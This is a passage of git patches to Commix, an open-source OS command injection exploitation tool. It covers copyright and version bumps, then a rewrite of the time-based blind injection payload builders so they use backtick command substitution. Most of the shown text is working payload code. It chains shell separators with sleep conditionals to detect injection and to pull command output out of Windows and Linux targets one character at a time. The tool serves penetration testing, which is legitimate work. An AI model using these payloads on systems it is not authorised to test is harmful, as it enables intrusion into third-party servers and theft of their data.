+Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index bcce5fe980..305d54729f 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index 1407b5fb95..13d4c82597 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index f57151b6c3..7046769a0d 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index ff15228fd5..81b7dbfebf 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index 66e05a0410..767cc31dcb 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 252caf7719..4fcfd0613a 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e1df78f4c..ad97f3487b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -261,9 +261,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "4.0" -REVISION = "121" -STABLE_RELEASE = True +VERSION_NUM = "4.1" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" @@ -272,7 +272,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2024" +YEAR = "2014-2025" AUTHOR_X_ACCOUNT = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_X_ACCOUNT = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 27af77220b..e3198934c5 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 81be4cbdb4..31761678e1 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index 95869585d0..8d50aade9e 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 79909148b3aa7e45d0d2f09e08d4c2d7638cd832 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Jan 2025 08:29:40 +0200 Subject: [PATCH 0524/1023] mprovement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). --- doc/CHANGELOG.md | 3 + .../techniques/time_based/tb_payloads.py | 256 ++++++++--------- src/core/injections/controller/checks.py | 8 +- src/core/injections/controller/controller.py | 30 +- src/core/injections/controller/handler.py | 10 +- .../techniques/classic/cb_payloads.py | 101 ++----- .../techniques/file_based/fb_payloads.py | 12 +- .../techniques/tempfile_based/tfb_payloads.py | 258 ++++++++---------- src/core/tamper/backticks.py | 7 +- src/utils/settings.py | 21 +- 10 files changed, 324 insertions(+), 382 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e9020a81f0..3738be395f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 4.1 (TBA) +* Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). + ## Version 4.0 (2024-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 140aa9111b..37a49cc14c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -34,8 +34,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " @@ -46,38 +46,35 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: if separator == ";" or separator == "%0a": payload = (separator + - "str=$(echo " + TAG + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(echo " + TAG + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + - separator + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.SINGLE_WHITESPACE + + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -96,40 +93,38 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -138,9 +133,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -171,8 +165,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -183,30 +177,31 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): else: settings.USER_APPLIED_CMD = cmd + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX if separator == ";" or separator == "%0a": payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo $(" + cmd + "))" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length $str)" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + #"str1=${%23str} " + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -214,10 +209,9 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + - separator + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -235,40 +229,38 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi " ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) separator = _urllib.parse.unquote(separator) @@ -277,9 +269,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -307,8 +298,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -317,38 +308,39 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d' \"'$char'\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + - separator + "fi " ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d' \"'$char'\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -356,11 +348,10 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + - separator + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + " ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -379,38 +370,36 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -418,9 +407,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + 